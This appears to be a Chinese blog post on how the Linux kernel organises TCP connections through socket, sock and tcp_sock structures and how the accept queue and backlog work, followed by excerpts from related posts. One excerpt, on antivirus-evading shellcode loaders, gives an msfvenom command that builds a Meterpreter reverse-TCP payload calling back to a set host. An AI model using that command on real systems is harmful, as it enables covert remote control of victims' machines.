【网络】【Linux】Linux内核中连接的组织形式与全连接队列
文章目录
- 1.前言
- 2.Linux内核中连接的组织形式
- 2.1套接字和文件描述符
- 2.2创建连接 & 获取连接
- 3.全连接队列
- 3.1为什么有全连接队列?
- 3.2全连接队列的长度
1.前言
TCP是面向连接的,TCP的各种可靠性机制实际都不是从主机到主机的,而是基于连接的。
比如一台服务器启动后可能有多个客户端前来访问,如果TCP不是基于连接的,也就意味着服务器端只有一个接收缓冲区,此时各个客户端发来的数据都会拷贝到这个接收缓冲区当中,此时这些数据就可能会互相干扰。
而我们在进行TCP通信之前需要先建立连接,就是因为TCP的各种可靠性保证都是基于连接的,要保证传输数据的可靠性的前提就是先建立好连接。
而一台机器上可能会存在大量的连接,此时操作系统就不得不对这些连接进行管理。
- 操作系统在管理这些连接时需要“先描述,再组织”,在操作系统中一定有一个描述连接的结构体,该结构体当中包含了连接的各种属性字段,所有定义出来的连接结构体最终都会以某种数据结构组织起来,此时操作系统对连接的管理就变成了对该数据结构的增删查改。
- 建立连接,实际就是在操作系统中用该结构体定义一个结构体变量,然后填充连接的各种属性字段,最后将其插入到管理连接的数据结构当中即可。
- 断开连接,实际就是将某个连接从管理连接的数据结构当中删除,释放该连接曾经占用的各种资源。
以上都是理论层次的理解,那我们今天就具体地探究Linux源码中连接是如何组织起来的:
2.Linux内核中连接的组织形式
2.1套接字和文件描述符
网络通信本质上也是IO的过程,而且之前我们也说过调用send、recv等函数本质上是向Tcp维护的发送缓冲区、接收缓冲区写入和读出数据,既然是IO操作,所以一个套接字的本质其实就是一个文件描述符对应的文件。Linux下一切皆文件。
一个服务器本质上就是一个进程,而进程到文件的关系我们早已经在系统部分学习过:

当我们创建套接字时,Linux系统还会为我们创建一个新的结构体对象struct socket:
我们观察到这个结构体内部包含了一个struct file类型的指针,该指针指向的就是该套接字对应的文件对象,所以我们此时可以通过该套接字找到对应的文件了,但是更重要的是我们需要通过文件描述符找到对应的套接字呢呀,现在只有一个单向的指针,即我现在需要从文件找到对应的套接字对象。
所以在struct file结构体中还包含一个指针:
这个指针指向的就是套接字socket结构,所以我们现在就可以通过该文件描述符完成对套接字的操作了(读取数据、获取连接等)。
2.2创建连接 & 获取连接
我们上面提到过连接本质上是内核中的一种数据结构,在Linux中实际就是struct tcp_sock结构体,该结构体专门用于TCP协议。
它包含了TCP协议特有的字段和方法,如TCP头部长度(tcp_header_len)、滑动窗口(rcv_wnd、snd_wnd)、拥塞控制算法相关字段(如srtt_us、mdev_us等)以及发送和接收队列等。
这个结构体是TCP连接在内核中的完整表示,包含了TCP协议运行所需的所有状态信息和控制逻辑。
struct tcp_sock结构体的第一个字段是struct inet_connection_sock结构体,该结构体增加了与连接管理相关的字段,如连接状态(icsk_state)、重传机制等。这个结构体为TCP连接提供了必要的状态管理和控制机制。
struct inet_connection_sock结构体的第一个字段是struct inet_sock结构体,该结构体增加了与IP层相关的字段和方法,如IP地址(sin_addr或sin6_addr)、端口号(sin_port或sin6_port)等。这个结构体为TCP和UDP等基于IP的协议提供了更具体的支持。
struct inet_sock结构体的第一个字段是struct sock结构体,该结构体包含了如套接字状态(state)、接收和发送缓冲区(sk_buff)队列、定时器(timer)等通用字段。
更重要的是你会发现与文件描述符相关的struct socket结构体中有一个字段就是struct sock类型的指针 sk:
所以socket套接字可以通过这个 sk指针 获取tcp_sock结构体中的所有字段内容(通过类型转换)。
比如想要获取
tcp_sock结构体中inet_connection_sock结构体中的字段内容,就可以将sk指针转换成inet_connection_sock类型获取。这种通过一个指针获取不同结构体中属性的方式被称为“C风格的多态”。

以上是Tcp连接,如果是Udp连接呢?我们说Udp是无连接的通信协议,所以对于Udp来说没有struct inet_connection_sock结构体,因为该结构体内部维护的是与连接管理的相关字段,但是同样的根据socket结构体中的 sk指针 指向udp_sock结构体来获取udp连接的各种属性内容。所以 该socket结构体 被称为 “BSD socket ”— 通用socket接口。
既然socket结构体既可以指向Tcp套接字又可以指向Udp套接字,那是如何区分不同套接字类型的呢?
int socket(int domain, int type, int protocol);
参数type对应着socket结构体中的type字段:

所以创建一个listen套接字的流程就是申请文件描述符获得文件结构体,创建套接字socket和连接tcp_sock,然后将他们关联起来。
那么调用accept()函数是从listen套接字监听的套接字中获取普通连接并返回,这个过程又是怎样的呢?
实际上在struct inet_connection_sock结构体中维护一个全连接队列,当经历过三次握手后,系统会自动创建一个连接tcp_sock,然后将该连接加入到全连接队列中,当调用accept()函数时,操作系统会申请新的文件描述符和套接字socket,然后从全连接队列中取出一个连接tcp_sock,之后普通套接字socket中的 sk指针 指向该连接tcp_sock,就完成了获取连接的操作。
3.全连接队列
实际TCP在进行连接管理时会用到两个连接队列:
- 全连接队列(accept队列)。全连接队列用于保存处于ESTABLISHED状态,但没有被上层调用accept取走的连接。
- 半连接队列。半连接队列用于保存处于SYN_SENT和SYN_RCVD状态的连接,也就是还未完成三次握手的连接,维护时间比较短。
而全连接队列的长度实际会受到listen第二个参数的影响,一般TCP全连接队列的长度就等于listen第二个参数backlog的值加一。
int listen(int sockfd, int backlog);
如果将listen的第二个参数值设置为3,此时服务器端最多就允许存在4个处于ESTABLISHED状态的连接。
在服务器端已经有4个ESTABLISHED状态的连接的情况下,再有客户端发来建立连接请求,此时服务器端就会新增状态为SYN_RCVD的连接,该连接实际就是放在半连接队列当中的。
3.1为什么有全连接队列?
一般当服务器压力较大时连接队列的作用才会体现出来,如果服务器压力本身就不大,那么一旦底层有连接建立成功,上层就会立马将该连接读走并进行处理。
服务器端启动时一般会预先创建多个服务线程为客户端提供服务,主线程从底层accept上来连接后就可以将其交给这些服务线程进行处理。
如果向服务器发起连接请求的客户端很少,那么连接一旦在底层建立好就被主线程立马accept上来并交给服务线程处理了。
但如果向服务器发起连接请求的客户端非常多并且业务处理非常繁忙,即当每个服务线程都在为某个连接提供服务时,底层再建立好连接主线程就不能获取上来了,此时底层这些已经建立好的连接就会被放到连接队列当中,只有等某个服务线程空闲时,主线程就会从这个连接队列当中获取建立好的连接。
如果没有这个连接队列,那么当服务器端的服务线程都在提供服务时,其他客户端发来的连接请求就会直接被拒绝。
但有可能正当这个连接请求被拒绝时,某个服务线程提供服务完毕,此时这个服务线程就无法立马得到一个连接为之提供服务,所以一定有一段时间内这个服务线程是处于闲置状态的,直到再有客户端发来连接请求。
而如果设置了连接队列,当某个服务线程提供完服务后,如果连接队列当中有建立好的连接,那么主线程就可以立马从连接队列当中获取一个连接交给该服务线程进行处理,此时就可以保证服务器几乎是满载工作的,降低了服务器的闲置率。
3.2全连接队列的长度
虽然维护连接队列能让服务器处于几乎满载工作的状态,但连接队列也不能设置得太长。
- 如果队列太长,也就意味着在队列较尾部的连接需要等待较长时间才能得到服务,此时客户端的请求也就迟迟得不到响应。
- 此外,服务器维护连接也是需要成本的,连接队列设置的越长,系统就要花费越多的成本去维护这个队列。
- 但与其与其维护一个长连接,造成客户端等待过久,并且占用大量暂时用不到的资源,还不如将部分资源节省出来给服务器使用,让服务器更快的为客户端提供服务。
所以全连接队列要取一个合适的长度,系统一般设置为5。
全连接队列的长度=min(backlog,net.core.somaxconn)+1:
- 用户层调用listen时传入的第二个参数backlog。
- 系统变量net.core.somaxconn,在 Linux 系统中,这个值默认可能因不同的发行版和内核版本而异,但常见的默认值可能是 128。然而,对于高负载的服务器,特别是在处理大量并发连接时,这个默认值可能太低,导致新的连接被拒绝(因为监听队列已满)。
通过以下命令可以查看系统变量net.core.somaxconn的值。
sudo sysctl -a | grep net.core.somaxconn

Stay hungry, Stay foolish. —史蒂夫-乔布斯
相关文章:
【网络】【Linux】Linux内核中连接的组织形式与全连接队列
Linux内核中连接的组织形式与全连接队列 文章目录 1.前言2.Linux内核中连接的组织形式2.1套接字和文件描述符2.2创建连接 & 获取连接 3.全连接队列3.1为什么有全连接队列?3.2全连接队列的长度 1.前言 TCP是面向连接的,TCP的各种可靠性机制实际都不…...
记录一次 npm ERR! cb() never called! 解决过程
gitlab cicd过程,使用docker部署Vue3前端项目,报错如下: 针对 npm ERR! cb() never called! 这个报错,网上有很多解决方案,大都是清空缓存,重新运行npm 之类的。笔者全都试过,无法解决问题。笔者…...
WEB渗透免杀篇-加载器免杀
SSI加载 https://github.com/DimopoulosElias/SimpleShellcodeInjector生成payload(c) msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.0.108 lport12138 -f c -o shellcode.c执行 cat shellcode.c |grep -v unsigned|sed "s/\"\\\x//g"|sed &quo…...
什么是反人性设计?
目录 一、什么是人性? 二、什么是反人性设计? 三、有哪些反人性设计? 一、什么是人性? 人性,通常指的是人类共有的基本特质和行为倾向,它涵盖了一系列心理、情感和社会属性。人性可以从多个角度来理解&a…...
如何进行长截图的两种方法
前言 本文主要讲2种截图方式,分别是谷歌和QQ。 谷歌分为Web端 和 移动端,选一种即可。 第一种:谷歌浏览器控制台自带的 1.先把控制台语言更改为中文,方便查看 ①.按F12,点击设置面板 ②.修改语言为中文并关闭 ③.点击…...
基于轨迹的汽车跟随系统横向控制方法
A Trajectory-Based Approach for the Lateral Control of Vehicle Following Systems 基于轨迹的汽车跟随系统横向控制方法 Abstract Abstract| A crucial task for steering an autonomous vehicle along a safe path in a vehicle following scenario is the lateral cont…...
2024年8月15日嵌入式学习
今日主要学习线程和线程的互斥锁 pthread_cancel函数 它用于取消一个线程,当一个线程收到取消的申请时,他不会立即停止,而是在下一个取消点处结束运行,取消点是程序中一个特定的位置。如果线程在执行一个不可中断的系统调用&…...
C++引用和指针的区别还分不清楚?
不像其他语言,c既有引用的概念、又有指针的概念。 很多人用着用着就懵了。 不用慌,给你画个表格协助判断。 总体上,我们可以总结为以下五个区别: 一、定义方式: 指针通过使用 * 来定义,例如࿱…...
【Cesium开发实战】相机捕捉功能,获取当前视图,设定分辨率可下载当前视图图片
Cesium有很多很强大的功能,可以在地球上实现很多炫酷的3D效果。今天给大家分享一个相机捕捉功能,支持可以按照设定的分辨率下载当前视角的缩略图。 1.话不多说,先展示 相机快照 2.设计思路 根据项目需求要求,点击快照捕捉按钮可截取当前视角视图为缩略图,并弹框可输入视…...
基于spring boot的疫情信息管理系统
TOC springboot255基于spring boot的疫情信息管理系统 绪论 1.1研究背景与意义 信息化管理模式是将行业中的工作流程由人工服务,逐渐转换为使用计算机技术的信息化管理服务。这种管理模式发展迅速,使用起来非常简单容易,用户甚至不用掌握…...
【秋招笔试】8.11大疆秋招(第二套)-测开岗
🍭 大家好这里是 春秋招笔试突围,一起备战大厂笔试 💻 ACM金牌团队🏅️ | 多次AK大厂笔试 | 编程一对一辅导 ✨ 本系列打算持续跟新 春秋招笔试题 👏 感谢大家的订阅➕ 和 喜欢💗 和 手里的小花花🌸 ✨ 笔试合集传送们 -> 🧷春秋招笔试合集 🍒 本专栏已收…...
Vitis AI 基本认知(训练过程)
目录 1. 目的 2. TensorBoard 2.1 In TensorFlow 2.2.1 安装 TensorBoard 2.2.2 导入必要的库 2.2.3 初始化 2.2.4 记录数据 2.2.5 启动 TensorBoard 2.2.6 刷新间隔 2.2 In PyTorch 2.2.1 安装 setuptools 2.2.2 记录数据 2.2.3 查看 Tensorboard 3. 训练周期 E…...
《SQL 约束:保障数据完整性与准确性的关键防线》
在数据库管理的世界里,SQL 约束(Constraints)就像是守护数据城堡的卫士,确保数据的完整性、准确性和一致性。主键、外键和唯一约束是其中最为重要的几种约束类型,它们在数据库设计和数据操作中发挥着至关重要的作用。本…...
Temu半托管即将开通日韩站点,Temu半托管怎么上产品?
Temu是拼多多旗下的跨境电商平台,截至2024上半年,Temu的销售额达到了200亿美元左右。目前,Temu已进入了50多个国家和地区,是跨境卖家掘金海外市场的重要平台。 Temu半托管即将开通日韩站点 今年3月,Temu跟随速卖通正式…...
谷歌、火狐、Edge浏览器使用allWebPlugin中间件加载ActiveX控件
安装allWebPlugin中间件 1、请从下面地址下载allWebPlugin中间件产品 链接:百度网盘 请输入提取码百度网盘 请输入提取码百度网盘为您提供文件的网络备份、同步和分享服务。空间大、速度快、安全稳固,支持教育网加速,支持手机端。注册使用百…...
Python利用openpyxl复制Excel文件且保留样式—另存为副本(附完整代码)
目录 专栏导读库的介绍库的安装前言结果预览目录结构完整代码总结专栏导读 🌸 欢迎来到Python办公自动化专栏—Python处理办公问题,解放您的双手 🏳️🌈 博客主页:请点击——> 一晌小贪欢的博客主页求关注 👍 该系列文章专栏:请点击——>Python办公自动化专…...
ITL-Internet Technology Letters
文章目录 一、期刊简介二、征稿信息三、投稿须知四、咨询 一、期刊简介 Internet Technology Letters本期旨在涵盖所有用于提高物联网性能的新兴或现代学习算法。在此背景下,我们打算收集有关物联网学习进展的研究论文。强烈鼓励与机器学习、计算智能、概率学习、统…...
Mapreduce_wordcount自定义单词计数
自定义的wordcount 数据处理过程 加载jar包 查看后面的pom文件 以上为需要的jar包路径,将其导入至idea中 Map package com.hadoop;import org.apache.hadoop.io.IntWritable; import org.apache.hadoop.io.LongWritable; import org.apache.hadoop.io.Text; im…...
安卓开发中的AppCompat框架使用详解
引言 在安卓开发中,为了确保应用能够在不同版本的安卓系统上保持一致的外观和行为,Google 推出了 AppCompat 支持库。AppCompat 支持库提供了一系列兼容性组件和行为,允许开发者使用较新的 UI 组件和功能,同时保持应用向后兼容旧…...
docker中挂桶什么意思
“挂桶”是指在 Docker 容器中挂载一个存储桶(通常指的是云存储桶,如 AWS S3、阿里云 OSS 等)或本地存储目录的操作。通过挂载,Docker 容器可以直接访问存储桶中的文件,就像访问本地文件系统一样。 具体来说ÿ…...
Java 语言特性(面试系列2)
一、SQL 基础 1. 复杂查询 (1)连接查询(JOIN) 内连接(INNER JOIN):返回两表匹配的记录。 SELECT e.name, d.dept_name FROM employees e INNER JOIN departments d ON e.dept_id d.dept_id; 左…...
ES6从入门到精通:前言
ES6简介 ES6(ECMAScript 2015)是JavaScript语言的重大更新,引入了许多新特性,包括语法糖、新数据类型、模块化支持等,显著提升了开发效率和代码可维护性。 核心知识点概览 变量声明 let 和 const 取代 var…...
【JavaEE】-- HTTP
1. HTTP是什么? HTTP(全称为"超文本传输协议")是一种应用非常广泛的应用层协议,HTTP是基于TCP协议的一种应用层协议。 应用层协议:是计算机网络协议栈中最高层的协议,它定义了运行在不同主机上…...
Zustand 状态管理库:极简而强大的解决方案
Zustand 是一个轻量级、快速和可扩展的状态管理库,特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...
Oracle查询表空间大小
1 查询数据库中所有的表空间以及表空间所占空间的大小 SELECTtablespace_name,sum( bytes ) / 1024 / 1024 FROMdba_data_files GROUP BYtablespace_name; 2 Oracle查询表空间大小及每个表所占空间的大小 SELECTtablespace_name,file_id,file_name,round( bytes / ( 1024 …...
前端倒计时误差!
提示:记录工作中遇到的需求及解决办法 文章目录 前言一、误差从何而来?二、五大解决方案1. 动态校准法(基础版)2. Web Worker 计时3. 服务器时间同步4. Performance API 高精度计时5. 页面可见性API优化三、生产环境最佳实践四、终极解决方案架构前言 前几天听说公司某个项…...
Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...
#Uniapp篇:chrome调试unapp适配
chrome调试设备----使用Android模拟机开发调试移动端页面 Chrome://inspect/#devices MuMu模拟器Edge浏览器:Android原生APP嵌入的H5页面元素定位 chrome://inspect/#devices uniapp单位适配 根路径下 postcss.config.js 需要装这些插件 “postcss”: “^8.5.…...
视频行为标注工具BehaviLabel(源码+使用介绍+Windows.Exe版本)
前言: 最近在做行为检测相关的模型,用的是时空图卷积网络(STGCN),但原有kinetic-400数据集数据质量较低,需要进行细粒度的标注,同时粗略搜了下已有开源工具基本都集中于图像分割这块,…...
Go语言多线程问题
打印零与奇偶数(leetcode 1116) 方法1:使用互斥锁和条件变量 package mainimport ("fmt""sync" )type ZeroEvenOdd struct {n intzeroMutex sync.MutexevenMutex sync.MutexoddMutex sync.Mutexcurrent int…...
